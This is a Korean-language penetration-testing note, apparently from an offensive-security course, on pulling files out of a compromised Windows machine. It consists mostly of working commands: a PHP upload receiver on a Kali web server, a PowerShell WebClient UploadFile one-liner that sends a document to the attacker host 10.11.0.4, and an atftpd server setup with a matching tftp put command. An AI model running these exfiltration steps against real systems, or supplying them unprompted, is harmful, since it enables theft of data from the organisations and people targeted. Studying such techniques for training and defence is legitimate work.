윈도우 스크립트 언어로 파일 업로드 (데이터 유출)
타겟 네트워크에서 윈도우 클라이언트를 통해 데이터 외부에 빼내야 할 때가 있음. 아웃바운드 HTTP 통신 열려있으면 칼리 Web Root(/var/www/html) 디렉토리에 아래 PHP 스크립트 만들어서 upload.php로 저장해두면 됨.
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
?>
그 다음 uploads 폴더 새로 생성하고 www-data 유저가 파일 쓸 수 있게 소유권이랑 쓰기 권한 넘겨줘야 함
kali@kali:/var/www$ sudo mkdir /var/www/uploads
kali@kali:/var/www$ ps -ef | grep apache
kali@kali:/var/www$ sudo chown www-data: /var/www/uploads
kali@kali:/var/www$ ls -la
아파치랑 PHP 스크립트 세팅 끝나서 파일 받을 준비 됐으면, 장악한 윈도우 타겟 머신으로 넘어가서 파워쉘 System.Net.WebClient 클래스의 UploadFile 메소드 호출해서 빼낼 문서(important.docx) 올려버리면 됨
C:\Users\Offsec> powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
TFTP 활용한 파일 업로드
우선 칼리 쪽에 TFTP 서버 설치/설정하고 파일 저장하고 서빙할 디렉토리부터 만들어야 함. 만든 디렉토리에 파일 쓸 수 있게 소유권도 바꿔주고. 그 다음 UDP 69번 포트로 atftpd 데몬 돌리면서 방금 만든 /tftp 디렉토리 바라보게 올리면 됨
kali@kali:~$ sudo apt update && sudo apt install atftpd
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
타겟 윈도우에서 파일 보낼 때 날릴 명령어는 이런 식임:
C:\Users\Offsec> tftp -i 10.11.0.4 put important.docx
Transfer successful: 359250 bytes in 96 second(s), 3712 bytes/s